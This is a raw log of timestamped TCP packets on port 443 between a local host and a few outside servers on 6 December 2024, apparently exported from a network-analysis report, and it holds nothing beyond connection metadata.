Dec 6, 2024 00:16:07.068836927 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.068852901 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.068917036 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:07.068942070 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.068985939 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:07.076870918 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.076884031 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.076941967 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:07.076948881 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.076982975 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:07.083976984 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.083991051 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.084064960 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:07.084073067 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.084110975 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:07.092119932 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.092138052 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.092190981 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:07.092199087 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.092236042 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:07.100152969 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.100168943 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.100236893 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:07.100244045 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.100280046 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:07.107871056 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.107889891 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.107949018 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:07.107956886 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.107990026 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:07.116745949 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.116760015 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.116808891 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:07.116816044 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.116847992 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:07.122967958 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.122986078 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.123037100 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:07.123049021 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.123059988 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:07.123073101 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:07.262218952 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.262236118 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.262413025 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:07.262434959 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.262480021 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:07.263211966 CET	443	49935	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:07.263272047 CET	49935	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:07.263293982 CET	443	49935	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:07.263329029 CET	49935	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:07.263412952 CET	49935	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:07.263442039 CET	443	49935	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:07.263485909 CET	49935	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:07.263997078 CET	49942	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:07.264019012 CET	443	49942	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:07.264070988 CET	49942	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:07.264271021 CET	49942	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:07.264281034 CET	443	49942	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:07.265424013 CET	49943	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:07.265456915 CET	443	49943	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:07.265515089 CET	49943	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:07.265697002 CET	49943	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:07.265707970 CET	443	49943	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:07.265819073 CET	443	49934	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:07.265866995 CET	49934	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:07.265877008 CET	443	49934	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:07.265913963 CET	49934	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:07.265949011 CET	49934	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:07.265985966 CET	443	49934	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:07.266026974 CET	49934	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:07.266370058 CET	49944	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:07.266391993 CET	443	49944	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:07.266398907 CET	49945	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:07.266436100 CET	443	49945	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:07.266444921 CET	49944	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:07.266484022 CET	49945	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:07.266623974 CET	49944	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:07.266635895 CET	443	49944	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:07.266729116 CET	49945	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:07.266743898 CET	443	49945	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:07.269063950 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.269081116 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.269128084 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:07.269136906 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.269170046 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:07.276325941 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.276340008 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.276398897 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:07.276406050 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.276442051 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:07.284369946 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.284384966 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.284446001 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:07.284456968 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.284490108 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:07.292574883 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.292588949 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.292644978 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:07.292654037 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.292691946 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:07.300025940 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.300045967 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.300102949 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:07.300112009 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.300147057 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:07.308068991 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.308084011 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.308140993 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:07.308147907 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.308183908 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:07.315202951 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.315217018 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.315291882 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:07.315299988 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.315331936 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:07.454392910 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.454407930 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.454482079 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:07.454498053 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.456871986 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:07.461230993 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.461247921 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.461312056 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:07.461319923 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.464850903 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:07.469345093 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.469388962 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.469450951 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:07.469458103 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.469472885 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:07.469496012 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:07.477572918 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.477586985 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.477653027 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:07.477659941 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.480809927 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:07.484699965 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.484714985 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.484813929 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:07.484821081 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.488806009 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:07.492788076 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.492803097 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.492866993 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:07.492878914 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.493045092 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:07.501038074 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.501051903 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.501111031 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:07.501116991 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.502245903 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:07.508537054 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.508549929 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.508614063 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:07.508620024 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.509025097 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:07.685004950 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.685023069 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.685117960 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:07.685134888 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.685313940 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:07.692939997 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.692956924 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.693016052 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:07.693025112 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.693061113 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:07.701088905 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.701103926 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.701174021 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:07.701181889 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.701308966 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:07.708184004 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.708199024 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.708257914 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:07.708265066 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.708796024 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:07.716320992 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.716335058 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.716402054 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:07.716409922 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.717160940 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:07.723881006 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.723896027 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.723953009 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:07.723959923 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.724205971 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:07.731930017 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.731945992 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.731990099 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:07.731997013 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.732088089 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:07.740077972 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.740093946 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.740158081 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:07.740164995 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.740802050 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:07.877120018 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.877136946 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.877212048 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:07.877223015 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.877347946 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:07.885066986 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.885082960 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.885133028 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:07.885140896 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.885210991 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:07.893188953 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.893207073 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.893263102 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:07.893270016 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.895422935 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:07.900286913 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.900304079 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.900355101 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:07.900362015 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.900439024 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:07.908442974 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.908457041 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.908510923 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:07.908518076 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.908869982 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:07.916043043 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.916059971 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.916126966 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:07.916136026 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.916893005 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:07.924063921 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.924083948 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.924134016 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.924139023 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:07.924182892 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:07.924274921 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:07.924289942 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:07.924298048 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:07.924303055 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:08.237097025 CET	443	49937	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:08.239845991 CET	49937	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:08.239871025 CET	443	49937	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:08.240345001 CET	49937	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:08.240351915 CET	443	49937	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:08.480106115 CET	443	49939	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:08.480113029 CET	443	49940	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:08.480619907 CET	49940	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:08.480635881 CET	49939	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:08.480643034 CET	443	49940	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:08.480648994 CET	443	49939	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:08.480726004 CET	443	49938	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:08.481101036 CET	49940	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:08.481105089 CET	443	49940	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:08.481257915 CET	49939	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:08.481266022 CET	443	49939	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:08.481453896 CET	49938	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:08.481471062 CET	443	49938	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:08.481869936 CET	49938	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:08.481874943 CET	443	49938	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:08.494360924 CET	443	49941	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:08.494652987 CET	49941	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:08.494683981 CET	443	49941	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:08.495039940 CET	49941	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:08.495044947 CET	443	49941	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:08.681652069 CET	443	49937	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:08.681703091 CET	443	49937	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:08.681746960 CET	49937	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:08.682101965 CET	49937	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:08.682125092 CET	443	49937	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:08.682136059 CET	49937	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:08.682142019 CET	443	49937	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:08.685085058 CET	49948	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:08.685117960 CET	443	49948	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:08.685189962 CET	49948	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:08.685973883 CET	49948	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:08.685985088 CET	443	49948	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:08.932259083 CET	443	49939	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:08.932312012 CET	443	49939	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:08.932351112 CET	49939	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:08.932826042 CET	49939	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:08.932845116 CET	443	49939	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:08.932859898 CET	49939	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:08.932867050 CET	443	49939	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:08.933175087 CET	443	49940	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:08.933218956 CET	443	49940	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:08.933263063 CET	49940	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:08.934684038 CET	49940	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:08.934700966 CET	443	49940	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:08.934710979 CET	49940	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:08.934716940 CET	443	49940	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:08.938218117 CET	443	49938	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:08.938309908 CET	443	49938	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:08.938359976 CET	49938	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:08.941845894 CET	49938	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:08.941858053 CET	443	49938	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:08.941867113 CET	49938	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:08.941871881 CET	443	49938	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:08.965573072 CET	443	49941	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:08.965625048 CET	443	49941	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:08.965677023 CET	49941	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:08.986104965 CET	49949	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:08.986135960 CET	443	49949	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:08.986195087 CET	49949	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:08.988442898 CET	49950	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:08.988457918 CET	443	49950	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:08.988600016 CET	49950	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:08.993666887 CET	49941	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:08.993699074 CET	443	49941	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:08.993710041 CET	49941	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:08.993721008 CET	443	49941	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:08.995533943 CET	49949	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:08.995546103 CET	443	49949	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:08.997307062 CET	49951	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:08.997313976 CET	443	49951	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:08.997368097 CET	49951	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:08.997488022 CET	49951	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:08.997495890 CET	443	49951	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:08.997566938 CET	49950	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:08.997581959 CET	443	49950	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:08.998426914 CET	49952	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:08.998449087 CET	443	49952	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:08.998501062 CET	49952	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:08.998611927 CET	49952	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:08.998621941 CET	443	49952	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:09.005539894 CET	443	49942	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:09.005625010 CET	49942	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:09.006175995 CET	443	49942	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:09.006228924 CET	49942	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:09.015662909 CET	443	49943	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:09.015737057 CET	49943	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:09.016360998 CET	443	49945	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:09.016423941 CET	49945	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:09.019479036 CET	443	49944	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:09.019566059 CET	49944	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:09.020452023 CET	443	49944	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:09.020500898 CET	49944	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:09.027178049 CET	49942	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:09.027194023 CET	443	49942	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:09.027401924 CET	443	49942	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:09.027460098 CET	49942	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:09.027861118 CET	49942	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:09.030499935 CET	49943	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:09.030508995 CET	443	49943	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:09.030709028 CET	443	49943	142.250.181.33	192.168.2.4
